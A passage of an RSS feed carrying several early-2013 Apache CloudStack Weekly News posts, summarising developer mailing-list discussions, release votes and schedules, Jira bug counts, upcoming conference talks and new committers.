says he likes cloud-init, but worried that adopting cloud-init would be "hurting the investment of existing CloudStack users who have built hundreds of templates with the extant scripts." </p><p>Wido says that "the scripts should keep working" but preferred to avoid packaging the homegrown scripts and encouraging new users/new setups to go with cloud-init.</p><p>Chip <a href="http://markmail.org/message/y5z3c7fnpotyzdmb" target="_blank" rel="nofollow" class="external-link">says that</a> "I'm in agreement that the existing scripts would need to remain as a supported option for quite some time.  I consider things like that to actually be related to our semver version numbering, although it's not specifically our CS query API, it's a similar interface expectation."</p><h5><a name="ApacheCloudstackWeeklyNews-11February2013-ChangestoCPUandmemoryovercommitfeature"></a>Changes to CPU and memory overcommit feature</h5><p>Abhinandan Prateek forwarded a note from Bharat Kumar about changes to the way capacity is calculated in CloudStack. </p><blockquote><p>I have made changes to the way capacity is calculated in CloudStack ,<br>please review and comment.</p><p>I will illustrate this with an example.</p><p>let us say we have a host with<br>Actual Total capacity=4GB ram,</p><p>and the overcommit ratio be 2.</p><p>Current way       <br>Total capacity= 4*2= 8GB.<br>Values after deploying 4 VMs with 1GB in service offering.<br>Allocated per vm =1GB.<br>Used=4GB<br>Available=8-4=4GB</p><p>now if we decrease the overcommit ratio to 1<br>Total Capacity = 4*1=4GB.<br>used Capacity = 4GB.<br>Available = 4-4=0. (implies 100% usage. can also go to more than 100%)</p></blockquote><h5><a name="ApacheCloudstackWeeklyNews-11February2013-JVMMemoryusageincreasedwithlatestmaster"></a>JVM Memory usage increased with latest master</h5><p>The latest master is <a href="http://markmail.org/message/ye35yeey6ooxyegb" target="_blank" rel="nofollow" class="external-link">consuming nearly 900MB of memory</a>, according to Koushik Das. </p><p>There's some discussion as to the cause of this, and <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1169" target="_blank" rel="nofollow" class="external-link">CLOUDSTACK-1168</a> ("Memory usage is very high") has been created. If you're testing master/4.1 and run into this problem, it'd be helpful to update the ticket with your experience and the environment you're seeeing the issue in. </p><h5><a name="ApacheCloudstackWeeklyNews-11February2013-Blockerstorunautomatedtests"></a>Blockers to run automated tests</h5><p>Sudha Ponnaganti <a href="http://markmail.org/message/yn3eb7gqzzfzadqt" target="_blank" rel="nofollow" class="external-link">brought up a couple of issues</a> on February 8th that are blocking automated testing. <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1216" target="_blank" rel="nofollow" class="external-link">CLOUDSTACK-1216</a> has been fixed, <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1200" target="_blank" rel="nofollow" class="external-link">CLOUDSTACK-1200</a> (Unknown column 'vm_instance.disk_offering_id' in table vm_instance, db exception shown in MS log) is still unresolved.</p><h5><a name="ApacheCloudstackWeeklyNews-11February2013-CloudStack4.0.1incubatingpassesVOTE"></a>CloudStack 4.0.1-incubating passes VOTE</h5><p>Joe Brockmeier <a href="http://markmail.org/message/ef4exivtkmhekhxh" target="_blank" rel="nofollow" class="external-link">announced on Friday</a> that the first point release from the CloudStack 4.0 branch has passed its vote on general@incubator.apache.org with +1 votes from Jim Jagielski, Olivier Lamy, and Alex Karasulu. No -1 or +0 votes were cast. </p><p>The release has been pushed to the mirrors and will be announced on Tuesday, February 12. </p><h5><a name="ApacheCloudstackWeeklyNews-11February2013-ACS4.1ReleaseScheduleReminder"></a>ACS 4.1 Release Schedule Reminder</h5><p>Chip Childers sent out a reminder <a href="http://markmail.org/thread/k7xf5jmznsf6gruo" target="_blank" rel="nofollow" class="external-link">about the release schedule for CloudStack 4.1.0</a> on Monday. </p><blockquote><p>2013-02-28 is the end of our test phase, and should be the end of the doc finalization for the release.</p><p>We'll shift into a mode where the 4.1 branch should only be updated by me after that date (after you ask for a cherry-pick for a critical bug or translation update).</p></blockquote><p>Chip also noted that there are 15 features/improvements listed as "open" for 4.1, and asked that the reporter/assignee update to "In Progress" or move the target release to 4.2 or Future, as appropriate.</p><h3><a name="ApacheCloudstackWeeklyNews-11February2013-UpcomingEvents"></a>Upcoming Events</h3><p>John Kinsella has <a href="http://markmail.org/thread/frj26yjlgn7gty6x" target="_blank" rel="nofollow" class="external-link">announced the first Bay Area CloudStack Meetup to be held in San Jose</a> on February 20th. </p><ul><li><b>Build a Cloud Day (BACD)</b>: <a href="http://buildacloud.org/about-diy-cloud-computing/cloud-events/viewevent/138-build-a-cloud-day-scale11x.html" target="_blank" rel="nofollow" class="external-link">Full day BACD</a> at SCALE on Friday (22 February 2013).</li><li><b>SCALE 11x</b>: Meet with CloudStack folks at SCALE (23-24 February 2013). The CloudStack project will have a booth at the event, plus a number of talks on the schedule:<ul><li><a href="http://www.socallinuxexpo.org/scale11x/presentations/taking-open-cloud-11-cloudstack" target="_blank" rel="nofollow" class="external-link">Taking the Cloud to 11 with CloudStack</a> - Joe Brockmeier</li></ul></li><li><b>ApacheCon North America</b>: ApacheCon NA is in Portland, Oregon from 26 February to 28 February. Cloud is a hot topic at ApacheCon North America and you'll find quite a bit of CloudStack content on the schedule:<ul><li><a href="http://na.apachecon.com/schedule/presentation/126/" target="_blank" rel="nofollow" class="external-link">Apache CloudStack's Plugin Model: Balancing the Cathedral with a Bazaar</a> - Donal Lafferty</li><li><a href="http://na.apachecon.com/schedule/presentation/127/" target="_blank" rel="nofollow" class="external-link">Top 10 Network Issues in Apache CloudStack</a> - Kirk Kosinski</li><li><a href="http://na.apachecon.com/schedule/presentation/128/" target="_blank" rel="nofollow" class="external-link">Advanced CloudStack Troubleshooting using Log Analysis</a> - Kirk Kosinski</li><li><a href="http://na.apachecon.com/schedule/presentation/129/" target="_blank" rel="nofollow" class="external-link">Scalable Object Storage with Apache CloudStack and Apache Hadoop</a> - Chiradeep Vittal</li><li><a href="http://na.apachecon.com/schedule/presentation/116/" target="_blank" rel="nofollow" class="external-link">Getting to Know Apache CloudStack</a> - Joe Brockmeier</li><li><a href="http://na.apachecon.com/schedule/presentation/145/" target="_blank" rel="nofollow" class="external-link">DevCloud: A CloudStack Sandbox</a> - Sebastien Goasguen</li><li><a href="http://na.apachecon.com/schedule/presentation/146/" target="_blank" rel="nofollow" class="external-link">Powering CloudStack with Ceph RDB</a> - Patrick McGarry</li><li><a href="http://na.apachecon.com/schedule/presentation/147/" target="_blank" rel="nofollow" class="external-link">Software Defined Networking in Apache CloudStack</a> - Chiradeep Vittal</li></ul></li></ul><h3><a name="ApacheCloudstackWeeklyNews-11February2013-Jira"></a>Jira</h3><p>Status for 4.1 as of Monday, 11 February - by priority:</p><ul><li>5 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">Blocker bugs</a></li><li>13 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">Critical bugs</a></li><li>212 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">Major bugs</a></li><li>35 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">Minor bugs</a></li></ul><p>Of the remaining bugs for 4.1.0, 103 are <a href="http://is.gd/unassigned41acs" target="_blank" rel="nofollow" class="external-link">currently unassigned</a>.</p><h3><a name="ApacheCloudstackWeeklyNews-11February2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>No new committers or PPMC members were announced this week. </p><h3><a name="ApacheCloudstackWeeklyNews-11February2013-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b> </p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 4 February 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_4</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_4</guid>
            <pubDate>Tue, 05 Feb 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Another busy week in Apache CloudStack land! Javelin has been merged with master, the 4.1 branch has been created, and the 4.0.1-incubating release has passed its second round vote to go on to the IPMC vote.]]></description>
            <content:encoded><![CDATA[<p>Another busy week in Apache CloudStack land! Javelin has been merged with master, the 4.1 branch has been created, and the 4.0.1-incubating release has passed its second round vote to go on to the IPMC vote.</p><h3><a name="ApacheCloudStackWeeklyNews-4February2013-MajorDiscussionsandIssues"></a>Major Discussions and Issues</h3><h5><a name="ApacheCloudStackWeeklyNews-4February2013-JavelinMerged"></a>Javelin Merged</h5><p>The Javelin branch has been <a href="http://markmail.org/message/wl7it77lgrsllipu" target="_blank" rel="nofollow" class="external-link">merged into master</a> by Kelven Yang. Kelven <a href="http://markmail.org/message/bpnxze6edj4bikvr" target="_blank" rel="nofollow" class="external-link">has noted that developers should increase the amount of memory available to the JVM</a> if running the management server under Maven:</p><blockquote><p>For linux/Mac users</p><p>MAVEN_OPTS="-XX:MaxPermSize=512m -Xmx2g"<br>export MAVEN_OPTS</p><p>For Windows users</p><p>Add similar settings to windows environment settings (via Windows control panel)</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-4February2013-4.1BranchCreated"></a>4.1 Branch Created</h5><p>Following the Javelin merge, Chip Childers has <a href="http://markmail.org/message/6wpcd5kg2bvdpufy" target="_blank" rel="nofollow" class="external-link">created the 4.1 branch</a>, and has asked committers "to respect the feature and improvement freeze in that branch. Bug fixes, doc updates and other release stabilization activities are obviously expected." Chip also says that committers should continue committing directly to the 4.1 branch until code freeze. (Code freeze, excepting fixes for blocker bugs and so forth, is on February 28th.) </p><p>If you're a non-committer and wish to send in a patch against 4.1.0, send in a patch built against the 4.1 branch. Chip says:</p><blockquote><p>Committers taking these fixes should also consider applying them to master.  If there are conflicts in master (which may happen, as there were a<br>couple of code-base refactoring activities, like switching packages from com.cloud to org.apache.cloudstack), apply the fix into 4.1 anyway, and inform the submitter that the patch has conflicts with master to get that sorted out (or you can fix it yourself).</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-4February2013-4.0.1incubatingVote"></a>4.0.1-incubating Vote</h5><p>The 4.0.1-incubating release has passed the <a href="http://markmail.org/message/zxvynd72xfansmho" target="_blank" rel="nofollow" class="external-link">vote</a> on cloudstack-dev, and is now in the 72-hour IPMC vote. Going into the vote on general@incubator.apache.org, the release artifacts already have 3 +1 mentor votes, so it should pass barring any -1 votes. </p><h5><a name="ApacheCloudStackWeeklyNews-4February2013-PreparingforTranslation"></a>Preparing for Translation</h5><p>With the feature freeze in place, it's time to get docs into shape and start getting things ready for translations. Sebastien Goasguen <a href="http://markmail.org/thread/rq7pbo3tn4ur4lu5" target="_blank" rel="nofollow" class="external-link">has created a new /pot directory</a> with the .pot (portable object templates). </p><p>Sebastien notes that contributors <a href="http://markmail.org/message/ykxnxp3r5bffzqrg" target="_blank" rel="nofollow" class="external-link">need to remember the 50-character limit for XML filenames</a>, as Transifex doesn't support longer file names. Contributors will also need to run <b><em>publican update_pot</em></b> when updating doc files and/or creating new files.</p><h5><a name="ApacheCloudStackWeeklyNews-4February2013-Packagingin4.1"></a>Packaging in 4.1</h5><p>Hugo Trippaers <a href="http://markmail.org/message/jlvpt3dgefcwacxl" target="_blank" rel="nofollow" class="external-link">sent out an update</a> about the discussion on packaging for 4.1. Hugo says the main goal for redoing the current way of packaging CloudStack is to get "rid of ant and waf completely." The secondary goal "is to create a reference set of packages which in itself should be enough to get anyone going with CloudStack, but will hardly depend on the underlying distro. Real distro specific stuff should be handled by packagers from those distros. We just aim to provide a reference implementation."</p><p>Hugo also says that the plan is to rename the packages "to make it perfectly clear what somebody is installing." That's going to change the location of a number of files, but Hugo says "we intend to include symlinks for backwards compatibility." </p><blockquote><p>The planned packages for now are cloudstack-management, cloudstack-agent, cloudstack-common, cloudstack-cli, cloudstack-docs, cloudstack-awsapi and<br>cloudstack-usage. You might already have seen these names in some of the checkins.</p></blockquote><p>One of the side-effects of the new packaging plan is that <a href="http://markmail.org/message/47yguo5rfrszpie7" target="_blank" rel="nofollow" class="external-link">CloudMonkey may not be installed with the RPMs</a>, but instead require that admins use PIP to grab CloudMonkey. </p><h5><a name="ApacheCloudStackWeeklyNews-4February2013-SupportVMSnapshotHeldto4.2"></a>Support VM Snapshot Held to 4.2</h5><p>Mice Xia <a href="http://markmail.org/message/tctez5xpur2bzswe" target="_blank" rel="nofollow" class="external-link">proposed merging the VM Snapshot branch</a> to master ahead of the 4.1 branching/feature freeze on January 28th. However, there were a <a href="http://markmail.org/message/bmwbjet5q7nlav6j" target="_blank" rel="nofollow" class="external-link">number of questions</a> <a href="http://markmail.org/message/nk525qhfdwqqil6n" target="_blank" rel="nofollow" class="external-link">about the feature's implementation</a> and <a href="http://markmail.org/message/yjaddguj67dqzbhe" target="_blank" rel="nofollow" class="external-link">consensus was not reached</a> in time for the 4.1 branch's creation.</p><p>On the plus side, this is why we have time-based releases. While it will delay inclusion into CloudStack <b>slightly</b>, the feature will be well-poised to go into 4.2 and the additional attention that the discussion has raised will likely make it that much better a feature when merged to master. It also means that a single feature won't delay the 4.1 release, which already has quite a lot of improvements and new features that CloudStack users will want to have ready when it's scheduled for release.</p><h5><a name="ApacheCloudStackWeeklyNews-4February2013-ProposaltoDeprecatethenonRESTfulAPIsandAPIServer"></a>Proposal to Deprecate the non-RESTful APIs and API Server</h5><p>Rohit Yadav has <a href="http://markmail.org/message/3nmgl5peuxeo4mvm" target="_blank" rel="nofollow" class="external-link">proposed deprecating CloudStack's non-RESTful APIs and API server</a> over a reasonable timeline. The reaction has been positive, and Min Chen <a href="http://markmail.org/message/xnjf5ylpn55ddneb" target="_blank" rel="nofollow" class="external-link">has offered to share an architecture design that's in-progress</a>, when it's ready.</p><h5><a name="ApacheCloudStackWeeklyNews-4February2013-HelpReviewingRunbook"></a>Help Reviewing Runbook</h5><p>David Nalley has <a href="http://markmail.org/message/jint25r5gwgnx6ju" target="_blank" rel="nofollow" class="external-link">sent out a request</a> for help reviewing his runbook, which is an opinionated guide to setting up a simple CloudStack install on a single CentOS 6.3 server using KVM. Other CloudStack users and contributors have expressed interest in creating similar runbooks for Ubuntu-based systems.</p><h3><a name="ApacheCloudStackWeeklyNews-4February2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>India User Group Meet-up</b>: Citrix, ShapeBlue, and CloudByte are&nbsp;combinedly&nbsp;organizing a <a href="http://www.meetup.com/CloudStack-Bangalore-Group/events/99690432/" target="_blank" rel="nofollow" class="external-link">CloudStack India User Group Meetup</a>&nbsp;in Bangalore (5 February, 2013).</li><li><b>Build a Cloud Day (BACD)</b>: Full day <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/138-build-a-cloud-day-scale11x-.html" target="_blank" rel="nofollow" class="external-link">BACD</a> at SCALE on Friday (22 February 2013).</li><li><b>CloudStack Booth at SCALE</b>: Meet with CloudStack folks at SCALE (23-24 February 2013), also Joe Brockmeier is <a href="http://www.socallinuxexpo.org/scale11x/presentations/taking-open-cloud-11-cloudstack" target="_blank" rel="nofollow" class="external-link">speaking about CloudStack at SCALE</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-4February2013-Jira"></a>Jira </h3><p>Be sure to check the list of 4.1.0 <a href="https://issues.apache.org/jira/issues/?jql=project%20%3D%20CLOUDSTACK%20AND%20resolution%20%3D%20Unresolved%20AND%20fixVersion%20%3D%20%224.1.0%22%20ORDER%20BY%20priority%20DESC" target="_blank" rel="nofollow" class="external-link">bugs</a> to see if there are any open issues assigned to you, or any unassigned issues that you could take on. </p><h3><a name="ApacheCloudStackWeeklyNews-4February2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>The Apache CloudStack project is pleased to welcome <a href="http://markmail.org/thread/p5b76rrp5h3j4k2u" target="_blank" rel="nofollow" class="external-link">Koushik Das</a> as a committer this week. Well done, Koushik!</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 28 January 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_28</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_28</guid>
            <pubDate>Mon, 28 Jan 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[As the 4.1.0 feature freeze approaches, the mailing list has been extremely active. The activity on -dev is off the charts, with (according to MarkMail) more than 4,400 messages sent to -dev in January - and the month isn't over yet! This eclipses the previous record set in October 2012 of 3,109 messages. Major discussions this week include the Javelin merge and IP clearance issues.]]></description>
            <content:encoded><![CDATA[<p>As the 4.1.0 feature freeze approaches, the mailing list has been extremely active. The activity on -dev is off the charts, with (according to MarkMail) more than 4,400 messages sent to -dev in January - and the month isn't over yet! This eclipses the previous record set in October 2012 of 3,109 messages. Major discussions this week include the Javelin merge and IP clearance issues.</p><p>The feature freeze is 31 January 2013. Testing and bugfixing will carry through from 1 February 2013 to 28 February 2013, then docs freeze is on 28 February (excepting release notes and translations). See the full schedule <a href="https://cwiki.apache.org/CLOUDSTACK/cloudstack-41-release.html" target="_blank" rel="nofollow" class="external-link">on the wiki</a>.</p><h3><a name="ApacheCloudStackWeeklyNews-28January2013-MajorDiscussionsandIssues"></a>Major Discussions and Issues</h3><p>As usual, the -dev mailing list has been hopping for the past week. Here's a summary of some of the major issues and discussions that have taken place over the last week.</p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-Countingdowntofeaturefreezefor4.1.0incubating"></a>Counting down to feature freeze for 4.1.0-incubating</h5><p>Reminder on 21st January that there were <a href="http://markmail.org/message/jldbgu3g3e6iqqan" target="_blank" rel="nofollow" class="external-link"><b>10 days left to feature freeze</b></a> on Apache CloudStack 4.1.0-incubating. Status at the time of the reminder:</p><blockquote><p>Out of 95 total proposed features / improvements, their status is:</p><p>3 Closed<br>12 Resolved<br>5 Reopened<br>21 In Progress<br>54 Open</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-28January2013-IPDonations"></a>IP Donations</h5><p>This week we had several VOTE results around IP donations from Citrix. </p><ul><li><a href="http://markmail.org/thread/uvxhsepmh6evjj7d" target="_blank" rel="nofollow" class="external-link">Accept a donation of "Documentation for various features" from Citrix</a> Result: passed.</li><li><a href="http://markmail.org/message/uvxhsepmh6evjj7d" target="_blank" rel="nofollow" class="external-link">Accept a donation of 'Documentation for various features' from Citrix</a> Result: passed.</li><li><a href="http://markmail.org/thread/h57bhg24edgc2gzm" target="_blank" rel="nofollow" class="external-link">No IP Clearance Needed to accept a donation of 'support security group enabled network in advanced zone'</a> Result: passed.</li><li><a href="http://markmail.org/message/qgfqglqqyrutes2l" target="_blank" rel="nofollow" class="external-link">Accept a donation of 'network service support in shared network' from Citrix</a> Result: passed.</li><li><a href="http://markmail.org/message/ywu5c7a3m3jdq345" target="_blank" rel="nofollow" class="external-link">Accept a donation of 'providing support of optional Public IP assignment for EIP with Basic Zone' from Citrix</a> Result: passed.</li><li><a href="http://markmail.org/message/rkli5q5bkudnxmub" target="_blank" rel="nofollow" class="external-link">Accept a donation of Enhanced Baremetal Provisioning support from Citrix</a> Result: passed.</li><li><a href="http://markmail.org/message/cilpefqcebbr3fub" target="_blank" rel="nofollow" class="external-link">Accept a donation of Egress firewall rules feature for guest network for CloudStack from Citrix</a> Result: passed.</li><li><a href="http://markmail.org/message/vujv6lz2gqbrapmf" target="_blank" rel="nofollow" class="external-link">Accept a donation of reset SSH key to access a VM in CloudStack from Citrix</a> Result: passed.</li><li><a href="http://markmail.org/message/bzvirvppcufjhcty" target="_blank" rel="nofollow" class="external-link">Accept a donation of SRX&amp;F5 inline mode support in CloudStack from Citrix</a> Result: passed.</li></ul><p>Note that Chip Childers sent an <a href="http://is.gd/W8KUtQ" target="_blank" rel="nofollow" class="external-link">email about incoming IP Clearance VOTEs</a> to incubator-general@apache.org about the 7 IP clearance votes that would be sent to the incubator folks. </p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-JavelinMerge"></a>Javelin Merge</h5><p>Alex Huang started <a href="http://markmail.org/message/fjelvc3nrs2szsyq" target="_blank" rel="nofollow" class="external-link">a discussion about merging the Javelin branch into master</a>. "The content of the merge is the storage framework refactoring and converting everything use Spring." There's <a href="http://markmail.org/message/2a2rxjwhlxnze2d3" target="_blank" rel="nofollow" class="external-link">some decisions yet to be resolved around the storage piece of this</a> that needs to be resolved before the request to merge Javelin is decided.</p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-LICENSEandNOTICEfilesfor4.1.0"></a>LICENSE and NOTICE files for 4.1.0</h5><p>Chip Childers has <a href="http://markmail.org/thread/ebm2kwwkdtrtwg37" target="_blank" rel="nofollow" class="external-link">raised a question about changes to the LICENSE and NOTICE files for CloudStack</a>. This would remove all binary dependency notice info from the top level LICENSE and NOTICE files in the source tree, and create two copies of the <a href="http://creadur.apache.org/whisker/" target="_blank" rel="nofollow" class="external-link">Whisker</a> descriptor.xml files, one that generates the source distro's files and one that generates the files for packaged versions of Apache CloudStack. </p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-VOTEcalledfor4.0.1incubating"></a>VOTE called for 4.0.1-incubating</h5><p>The VOTE for 4.0.1-incubating <a href="http://markmail.org/thread/v22nhyasqs7e7gwl" target="_blank" rel="nofollow" class="external-link">has been called</a> as of January 25 and will run for 72 hours or until it gets the required votes, or is -1'ed and restarted. Note that, if successful, the release still needs to be voted on by the IPMC and receive at least three +1 votes. The release could be out as early as next week, if all goes well. </p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-WritingunittestsafterJavelinismerged"></a>Writing unit tests after Javelin is merged</h5><p>Alex Huang has <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Unit+Testing+with+JUnit+and+Spring" target="_blank" rel="nofollow" class="external-link">written up a page on how to write unit tests</a> after the Spring injection framework is merged into Master. </p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-CloudStackSanFrancsicoBayAreaMeetupgroupcreated"></a>CloudStack San Francsico Bay Area Meetup group created</h5><p>A new meet group has been created for San Francsico Bay Area <a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/" target="_blank" rel="nofollow" class="external-link">http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/</a>. First meetup is expected in February, so stay tuned.</p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-Bangupjobontranslations"></a>Bang-up job on translations</h5><p>According to <a href="http://markmail.org/thread/ylublriw57wtfwqc" target="_blank" rel="nofollow" class="external-link">Sebastien Goasguen</a> </p><blockquote><p>The mad race to CloudStack documentation translation has started.<br>Japan is leading the way with 52% of the translation complete.<br>China is close second with 40%<br>Brazil is third with 11%</p></blockquote><p>See more about <a href="http://buildacloud.org/blog/196-help-needed-to-translate-cloudstack-documentation.html" target="_blank" rel="nofollow" class="external-link">working on translations on the wiki</a>.</p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-HyperVPlugin"></a>Hyper-V Plugin</h5><p>Donal Lafferty has <a href="http://markmail.org/thread/ue5kc6gjcex2y6na" target="_blank" rel="nofollow" class="external-link">submitted a review request for a Hyper-V plugin</a> for CloudStack.</p><h3><a name="ApacheCloudStackWeeklyNews-28January2013-UpcomingEvents"></a>Upcoming Events</h3><p>Speaking at events doesn't happen by accident, or without preparation. For example, if you want to speak at a major event like OSCON, you need to submit a talk <b>well</b> in advance. </p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-CFPstobeawareof"></a>CFPs to be aware of</h5><p><a href="http://markmail.org/thread/pgnfhkahhkvha62j" target="_blank" rel="nofollow" class="external-link">Mark Hinkle sent a note to -dev</a> reminding that the CFP for OSCON 2013 will <a href="http://www.oscon.com/oscon2013/public/cfp/251" target="_blank" rel="nofollow" class="external-link">close on 4 February</a>. If we want to see CloudStack talks at OSCON (and we do, yeah?) then get those proposals in!</p><p>The Linux Collaboration Summit CFP <a href="https://events.linuxfoundation.org/events/collaboration-summit/cfp" target="_blank" rel="nofollow" class="external-link">also closes on 4 February 2013</a> in case you were looking to get a CloudStack or related talk in.</p><h5><a name="ApacheCloudStackWeeklyNews-28January2013-What%27sontapforthecomingweeks"></a>What's on tap for the coming weeks</h5><ul><li><b>Linux.conf.au</b>: Joe Brockmeier is <a href="https://lca2013.linux.org.au/schedule/30073/view_talk?day=monday" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack during the Cloud Infrastructure, Distributed Storage and High Availability miniconf</a> on Monday (28 January, 2013).</li><li><b>Linux.conf.au</b>: <a href="http://meetu.ps/vgBVv" target="_blank" rel="nofollow" class="external-link">Open Cloud Meetup at LCA</a> organized by the OpenStack Meetup Group on Tuesday (29 January, 2013).</li><li><b>FOSDEM</b>: Sebastien Goasguen is <a href="https://fosdem.org/2013/schedule/event/cloudstack/" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack features and tools</a> during the <a href="https://fosdem.org/2013/schedule/track/cloud/" target="_blank" rel="nofollow" class="external-link">cloud DevRoom</a> at FOSDEM on Sunday (3 February, 2013).</li><li><b>Build a Cloud Day (BACD)</b>: Full day <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/140-build-a-cloud-day-ghent-2013.html" target="_blank" rel="nofollow" class="external-link">workshop</a> on CloudStack co-located with Puppet Camp in Ghent, Belgium (1 February, 2013).</li><li><b>UK/European User Group Meet-up</b> : Shapeblue is organizing a <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/141-ukeuropean-user-group-meet-up.html" target="_blank" rel="nofollow" class="external-link">meet-up</a>. (January 16th, 2013)</li><li><b>Build a Cloud Day (BACD)</b>: Full day <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/138-build-a-cloud-day-scale11x-.html" target="_blank" rel="nofollow" class="external-link">BACD</a> at SCALE on Friday (22 February 2013).</li><li><b>CloudStack Booth at SCALE</b>: Meet with CloudStack folks at SCALE (23-24 February 2013), also Joe Brockmeier is <a href="http://www.socallinuxexpo.org/scale11x/presentations/taking-open-cloud-11-cloudstack" target="_blank" rel="nofollow" class="external-link">speaking about CloudStack at SCALE</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-28January2013-Jira"></a>Jira</h3><ul><li>All bugs have been cleared for 4.0.1-incubating. Please tag all bugs for the 4.0 branch for 4.0.2 going forward. (Excepting bugs discovered that should be blockers to 4.0.1-incubating, of course.)</li><li>4.1.0 currently has <a href="https://issues.apache.org/jira/browse/CLOUDSTACK/fixforversion/12323253#selectedTab=com.atlassian.jira.plugin.system.project%3Aversion-issues-panel" target="_blank" rel="nofollow" class="external-link">4 blockers, 14 critical bugs, 279 major bugs, and 36 minor bugs</a> unresolved.</li><li>101 bugs are <a href="https://issues.apache.org/jira/issues/?jql=project%20%3D%20CLOUDSTACK%20AND%20fixVersion%20%3D%20%224.1.0%22%20AND%20resolution%20%3D%20Unresolved%20AND%20assignee%20is%20EMPTY%20ORDER%20BY%20priority%20DESC" target="_blank" rel="nofollow" class="external-link">currently unassigned</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-28January2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><ul><li>John Burwell <a href="http://markmail.org/message/hpqmlwdl7wnm6t5k" target="_blank" rel="nofollow" class="external-link">has been asked to become a committer, and has accepted</a>.</li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 21 January 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_21</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_21</guid>
            <pubDate>Tue, 22 Jan 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[As usual, a lot of activity on the -dev mailing list. Several VOTEs this week around features donated by Citrix, and quite a few upcoming events. Speaking of events, videos from the CloudStack Collaboration Conference are up on YouTube!]]></description>
            <content:encoded><![CDATA[<p>As usual, a lot of activity on the -dev mailing list. Several VOTEs this week around features donated by Citrix, and quite a few upcoming events. Speaking of events, videos from the CloudStack Collaboration Conference are up on YouTube!</p><h3><a name="ApacheCloudStackWeeklyNews-21January2013-MajorDiscussionsandIssues"></a>Major Discussions and Issues</h3><ul><li>Vote result: Donation of Marvin automated tests <a href="http://markmail.org/thread/vxwtwnhapmf7inw7" target="_blank" rel="nofollow" class="external-link">accepted</a>.</li><li>Several continuing votes this week about accepting code donations from Citrix that were developed outside Apache CloudStack. <a href="http://markmail.org/thread/ybbpv3n5d4y4frb5" target="_blank" rel="nofollow" class="external-link">Egress firewall rules feature</a>, <a href="http://markmail.org/thread/vcmu6yagtxr5lvyn" target="_blank" rel="nofollow" class="external-link">network services (PF, NAT, LB) in shared networks of advanced zone</a>, <a href="http://markmail.org/message/ajvlvvruhttgvfe2" target="_blank" rel="nofollow" class="external-link">Reset SSH Key</a>, <a href="http://markmail.org/message/5pgxkz3zd6n3pwtr" target="_blank" rel="nofollow" class="external-link">Documentation for various features</a>, <a href="http://markmail.org/message/p3npjr3nxy56tdpu" target="_blank" rel="nofollow" class="external-link">Support Security Group enabled in Advanced Networking Zone</a>, <a href="http://markmail.org/message/qw6iyweljzinsm63" target="_blank" rel="nofollow" class="external-link">Optional Public IP assignment for EIP with Basic Zone</a></li><li><a href="http://www.youtube.com/diycloudcomputing" target="_blank" rel="nofollow" class="external-link">CloudStack Collab 2012 videos</a> have been posted. Share and enjoy!</li><li><a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Minutes+15th+Jan+2013" target="_blank" rel="nofollow" class="external-link">QA Scrum minutes for 1/15</a> are posted on the 